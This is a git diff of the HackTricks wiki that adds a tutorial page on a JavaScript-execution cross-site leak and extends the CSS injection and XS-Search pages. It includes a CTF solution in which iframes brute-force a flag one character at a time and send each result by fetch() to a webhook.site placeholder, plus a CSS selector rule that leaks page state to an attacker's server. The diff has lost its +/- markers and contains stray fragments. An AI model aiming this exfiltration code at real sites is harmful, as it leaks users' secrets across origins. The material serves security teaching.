GitBook: [#3759] No subject
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@ -592,6 +592,7 @@
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* [performance.now example](pentesting-web/xs-search/performance.now-example.md)
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* [performance.now + Force heavy task](pentesting-web/xs-search/performance.now-+-force-heavy-task.md)
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* [Event Loop Blocking + Lazy images](pentesting-web/xs-search/event-loop-blocking-+-lazy-images.md)
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* [JavaScript Execution XS Leak](pentesting-web/xs-search/javascript-execution-xs-leak.md)
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* [CSS Injection](pentesting-web/xs-search/css-injection/README.md)
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* [CSS Injection Code](pentesting-web/xs-search/css-injection/css-injection-code.md)
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@ -172,6 +172,18 @@ If the first URL was **successfully loaded**, then, when **changing** the **hash
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Then, you can **distinguish between** a **correctly** loaded page or page that has an **error** when is accessed.
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### Javascript Execution
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* **Inclusion Methods**: Frames
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* **Detectable Difference**: Page Content
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* **More info**:
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* **Summary:** If the **page** is **returning** the **sensitive** content, **or** a **content** that can be **controlled** by the user. The user could set **valid JS code in the negative case**, an **load** each try inside **`<script>`** tags, so in **negative** cases attackers **code** is **executed,** and in **affirmative** cases **nothing** will be executed.
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* **Code Example:**
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{% content-ref url="xs-search/javascript-execution-xs-leak.md" %}
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[javascript-execution-xs-leak.md](xs-search/javascript-execution-xs-leak.md)
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{% endcontent-ref %}
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### CORB - Onerror
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* **Inclusion Methods**: HTML Elements
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@ -2,17 +2,13 @@
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<details>
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<summary><strong><a href="https://www.twitch.tv/hacktricks_live/schedule">🎙️ HackTricks LIVE Twitch</a> Wednesdays 5.30pm (UTC) 🎙️ - <a href="https://www.youtube.com/@hacktricks_LIVE">🎥 Youtube 🎥</a></strong></summary>
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<summary><a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ HackTricks LIVE Twitch</strong></a> <strong>Wednesdays 5.30pm (UTC) 🎙️ -</strong> <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
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- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
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- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
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- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
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- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
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- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
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* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
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* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
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* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
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* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
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* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
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</details>
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@ -102,6 +98,11 @@ No worries, just check the **output** because **you can see the flag there**.
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Other ways to access DOM parts with **CSS selectors**:
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* **`.class-to-search:nth-child(2)`**: This will search the second item with class "class-to-search" in the DOM.
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* **`:empty`** selector: Used for example in [**this writeup**](https://github.com/b14d35/CTF-Writeups/tree/master/bi0sCTF%202022/Emo-Locker)**:** 
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```css
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[role^="img"][aria-label="1"]:empty { background-image: url("YOUR_SERVER_URL?1"); }
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```
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### Error based XS-Search
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@ -137,7 +138,7 @@ Basically the main idea is to **use a custom font from an endpoint controlled by
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When a **URL fragment targets an element**, the [**`:target`**](https://drafts.csswg.org/selectors-4/#the-target-pseudo) pseudo-class **can be used** to select it, but **`::target-text` does not match anything**. It only matches text that is itself targeted by the \[fragment].
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Therefore, an attacker could use the **Scroll-to-text** fragment and if **something is found** with that text we can **load a resource** from the attackers server to indicate it: 
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Therefore, an attacker could use the **Scroll-to-text** fragment and if **something is found** with that text we can **load a resource** from the attackers server to indicate it:
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```
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:target::before { content : url(target.png) }
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@ -387,16 +388,12 @@ div::-webkit-scrollbar:vertical {
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<details>
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<summary><strong><a href="https://www.twitch.tv/hacktricks_live/schedule">🎙️ HackTricks LIVE Twitch</a> Wednesdays 5.30pm (UTC) 🎙️ - <a href="https://www.youtube.com/@hacktricks_LIVE">🎥 Youtube 🎥</a></strong></summary>
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<summary><a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ HackTricks LIVE Twitch</strong></a> <strong>Wednesdays 5.30pm (UTC) 🎙️ -</strong> <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
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- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
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- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
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- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
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- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
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- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
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* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
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* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
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||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
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* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
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* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
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</details>
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@ -0,0 +1,92 @@
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# JavaScript Execution XS Leak
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<details>
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<summary><a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ HackTricks LIVE Twitch</strong></a> <strong>Wednesdays 5.30pm (UTC) 🎙️ -</strong> <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
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* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
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* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
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||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
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* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
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* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
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</details>
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```javascript
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// Code that will try ${guess} as flag (need rest of the server code
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app.get('/guessing', function(req, res) {
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let guess = req.query.guess
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let page = `<html>
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<head>
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<script>
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function foo() {
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// If not the flag this will be executed
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window.parent.foo()
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}
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</script>
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<script src="https://axol.space/search?query=${guess}&hint=foo()"></script>
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</head>
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<p>hello2</p>
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</html>`
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res.send(page)
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});
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```
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Main page that generates iframes to the previous `/guessing` page to test each possibility
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```html
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<html>
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<head>
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<script>
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let candidateIsGood = false;
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let candidate = ''
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let flag = 'bi0sctf{'
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let guessIndex = -1
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let flagChars = '_0123456789abcdefghijklmnopqrstuvwxyz}ABCDEFGHIJKLMNOPQRSTUVWXYZ'
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// this will get called from our iframe IF the candidate is WRONG
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function foo() {
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candidateIsGood = false
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}
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timerId = setInterval(() => {
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if (candidateIsGood) {
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flag = candidate
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guessIndex = -1
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fetch('https://webhook.site/<yours-goes-here>?flag='+flag)
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}
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//Start with true and will be change to false if wrong
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candidateIsGood = true
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guessIndex++
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if (guessIndex >= flagChars.length) {
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fetch('https://webhook.site/<yours-goes-here>')
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return
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}
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let guess = flagChars[guessIndex]
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candidate = flag + guess
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let iframe = `<iframe src="/guessing?guess=${encodeURIComponent(candidate)}"></iframe>`
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console.log('iframe: ', iframe)
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hack.innerHTML = iframe
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}
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, 500);
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</script>
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</head>
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<p>hello</p>
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<div id="hack">
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</div>
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</html>
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```
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<details>
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<summary><a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ HackTricks LIVE Twitch</strong></a> <strong>Wednesdays 5.30pm (UTC) 🎙️ -</strong> <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
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* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
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* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
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</details>
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